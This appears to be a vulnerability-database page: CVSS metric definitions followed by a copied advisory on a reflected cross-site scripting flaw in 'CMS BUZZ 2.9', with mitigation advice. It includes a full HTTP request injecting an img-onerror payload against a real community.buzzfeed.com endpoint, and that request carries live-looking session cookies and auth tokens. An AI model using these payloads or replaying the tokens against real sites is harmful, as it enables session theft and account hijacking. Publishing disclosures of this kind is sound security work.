The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: CMS BUZZ 2.9 Cross Site Scripting
Title:
=======
CMS BUZZ 2.9 - Reflected Cross-Site Scripting
Introduction:
==============
A content management system (CMS) is a computer application that supports the creation and modification of digital content.
It is often used to support multiple users working in a collaborative environment.
CMS features vary widely. Most CMSs include Web-based publishing, format management, history editing and version control, indexing, search, and retrieval.
By their nature, content management systems support the separation of content and presentation.
Vulnerability Disclosure:
==========================
2018-08-07: Public Disclosure
CVE - ID:
==========
N/A
Affected Product(s):
=====================
CMS BUZZ 2.9
Exploitation Technique:
========================
Remote
Severity Level:
================
High
Technical Details & Description:
=================================
A Reflected Cross-Site Scripting web vulnerability has been discovered in the "CMS BUZZ" web-application.
The vulnerability is located in the '/post' parameter of the'Model' action POST method request.
Request Method(s):
[+] POST
POST /api/buzzfeed/api/subbuzz/edit/121483472 HTTP/1.1
Host: community.buzzfeed.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://community.buzzfeed.com/
X-XSRFToken: 2|54bd4602|41e704e20e5327f17c3da4bb1925ceb8|1533589639
Content-Type: application/x-www-form-urlencoded
X-HTTP-Method-Override: PATCH
X-Requested-With: XMLHttpRequest
Content-Length: 166
Cookie: country=br; bf-browser-language=en-GB,en; bf-geo-country=BR; _ga=GA1.2.295601587.1533588649; _gid=GA1.2.2108660294.1533588649; __qca=P0-1878435370-1533588648999; __gads=ID=acb943420b19569f:T=1533588650:S=ALNI_MaZVbR9w_LkcMnvuiUe9HHc4dfEeg; __utma=219708042.295601587.1533588649.1533589590.1533589590.1; __utmb=219708042.5.8.1533589617973; __utmc=219708042; __utmz=219708042.1533589590.1.1.utmcsr=accounts.google.com|utmccn=(referral)|utmcmd=referral|utmcct=/signin/oauth/oauthchooseaccount; __utmv=219708042.|6=isRegistered=false=1^7=signupDate=false=1^8=facebookConnected=false=1^9=registrationPath=false=1^10=userFlags=false=1^11=allowsEmailUpdates=false=1^14=origReferrer=accounts.google.com=1^15=origPageType=Signup=1^18=lastVisit=1533589590=1^35=intlEdition=br=1^43=nDHPV=0=1; __utmt=1; bf2-b=8124d0f16cafe822946ace9da9596f48; default_user_session=8124d0f16cafe822946ace9da9596f48; bf2-b_info=public_dashboard%3Dtrue%26last_active%3D1533589611%26p_dashboard%3Dtrue%26userid%3D7334939%26is_subchannel%3Dfalse%26user_switching%3D1%26is_channel%3Dfalse%26display_name%3Doraclebacktrack%26image%3D%2Fstatic%2F2018-08%2F6%2F17%2Fuser_images%2Fbuzzfeed-prod-web-03%2Foraclebacktrack-v2-14816-1533589610-10.jpg%26username%3Doraclebacktrack%26p_alias%3Dtrue%26p_boost_buzz%3Dtrue%26permission_key%3D00000000000000000000000000000000000000000000000000000000000000010000000000000000008000000000000000000000000000000000000000000000000; default_user=public_dashboard%3Dtrue%26p_dashboard%3Dtrue%26userid%3D7334939%26is_subchannel%3Dfalse%26is_channel%3Dfalse%26display_name%3Doraclebacktrack%26image%3D%2Fstatic%2F2018-08%2F6%2F17%2Fuser_images%2Fbuzzfeed-prod-web-03%2Foraclebacktrack-v2-14816-1533589610-10.jpg%26username%3Doraclebacktrack%26p_alias%3Dtrue%26p_boost_buzz%3Dtrue%26id%3D7334939; bfauth=MTUzMzU4OTYzMHxEdi1CQkFFQ180SUFBUkFCRUFBQV83RF9nZ0FEQm5OMGNtbHVad3dOQUF0eVpXUnBjbVZqZEZWU1NRWnpkSEpwYm1jTUF3QUJMd1p6ZEhKcGJtY01EUUFMVlhObGNsTmxjM05wYjI0UkttMWhhVzR1VlhObGNsTmxjM05wYjI3X2d3TUJBUXRWYzJWeVUyVnpjMmx2YmdIX2hBQUJCUUVJVUhKdmRtbGtaWElCREFBQkJWUnZhMlZ1QVJBQUFRaFZjMlZ5U1c1bWJ3SF9oZ0FCRGxWelpYSkpibVp2Ulhod2FYSjVBZi1JQUFFS1FYVjBhRVY0Y0dseWVRSF9pQUFBQUhiX2hRTUJBUWhWYzJWeVNXNW1id0hfaGdBQkNBRUxSR2x6Y0d4aGVVNWhiV1VCREFBQkJVVnRZV2xzQVF3QUFRSkpSQUVNQUFFS1RHRnpkRUZqZEdsMlpRSF9pQUFCQlVsdFlXZGxBUXdBQVFoVmMyVnlibUZ0WlFFTUFBRUlWbVZ5YVdacFpXUUJBZ0FCQlZKdmJHVnpBZi1LQUFBQUVQLUhCUUVCQkZScGJXVUJfNGdBQUFBUl80a0dBUUVGVW05c1pYTUJfNG9BQUFELUFwYl9oR1VCQm1kdmIyZHNaUUVOS205aGRYUm9NaTVVYjJ0bGJ2LUxBd0VCQlZSdmEyVnVBZi1NQUFFRUFRdEJZMk5sYzNOVWIydGxiZ0VNQUFFSlZHOXJaVzVVZVhCbEFRd0FBUXhTWldaeVpYTm9WRzlyWlc0QkRBQUJCa1Y0Y0dseWVRSF9pQUFBQVA0QjVQLU1fODBCXzRGNVlUSTVMa2RzZG5oQ1dIWnpVRU5VWWpjNFprWnNZVGxuVmxCSVVHeGtVa2N5YjNZd05YcFZiRFV3WW5Kblp6QmtkelZoYjBSbGRqTXhaRXRFUTI5Nk1XNWxZbGd5VFhOdmRTMVFjVk5KY0VSbFgyTnFaRGhqU3poVFpYQlpNRTl6Y2xoUE56aHVlR0p0VkdwTFgyTTBRMWxZU1dSVFNuSlZRa2cxT1ZGWFpqVUJCa0psWVhKbGNnRXRNUzk2ZGt0VE0weFVRa1kwYUVsVWJYbERSRnA0VFVNMlFtOWFjbmN6ZFdKUk1GQlRPWE0yU1RONE9IUlpBUThCQUFBQUR0TDZ2WTRjc0V4eEFBQUFBUUVQYjNKaFkyeGxZbUZqYTNSeVlXTnJBUmx2Y21GamJHVmlZV05yZEhKaFkydEFaMjFoYVd3dVkyOXRBUWMzTXpNME9UTTVBUThCQUFBQUR0TDZkeW9BQUFBQV9fOEJZQzl6ZEdGMGFXTXZNakF4T0Mwd09DODJMekUzTDNWelpYSmZhVzFoWjJWekwySjFlbnBtWldWa0xYQnliMlF0ZDJWaUxUQXpMMjl5WVdOc1pXSmhZMnQwY21GamF5MTJNaTB4TkRneE5pMHhOVE16TlRnNU5qRXdMVEV3TG1wd1p3RVBiM0poWTJ4bFltRmphM1J5WVdOckFRRUJNU0RBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFROEJBQUFBRHRMNnN3SW5TNTN4QUFBQkR3RUFBQUFPMHZzRDNpZExtSVlBQUFBR2MzUnlhVzVuREFjQUJYTjBZWFJsQm5OMGNtbHVad3d1QUN4QmREVlBTMUJ5YVhwNmRGaFlUazkyVkROUFZqRlZOVzR4TTFGMlJGWm9VbWhDTlRsdWMyTk9NREZGUFE9PXyMcWJ3DwJVQavSuy8UR-YuThi8sJy6xAwzSnE5HKmtCA==; _xsrf=2|54bd4602|41e704e20e5327f17c3da4bb1925ceb8|1533589639
Connection: close
model=%7B%22name%22%3A%22%5C%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(document.cookie)%3E%22%2C%22id%22%3A%22121483472%22%2C%22buzz_id%22%3A%224880746%22%7D&_method=PATCH
Vulnerable Directory(s):
[+] /post
Vulnerable Parameter(s):
[+] Model
Proof of Concept (PoC):
========================
Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications.
The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user.
Reflected Cross-Site Scripting occurs when data sent by the attacker to the application is displayed on the page without the need to be stored somewhere.
Payload:
[+] "><img src=x onerror=prompt(document.domain)>
Solution
=========
For a prevention of Cross Site Scripting, some measures should be considered:
Never enter untrusted data except in locations defined for this purpose.
The principle of this rule is to deny everything and mostly do not JavaScript code from an unknown source and then run it.
Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application.
Validate URL parameters and check information that sends our HTTP requests, hex escapes us in URLs such as% 25, aawhere 25 is the ASCII code of the character "%".
Avoid HTML injection attacks by resorting to libraries that parse the inserted HTML such as: HtmlSanitizer, OWASP Java HTML Sanitizer.
Another recommendation to mitigate such security flaws in a web application is an application of a Web Application Firewall (WAF) such as ModSecurity, Ironbee and others.
Credits
========
Offensive0Labs - Thiago Sena & Rafael Fontes Souza
References
==========
http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
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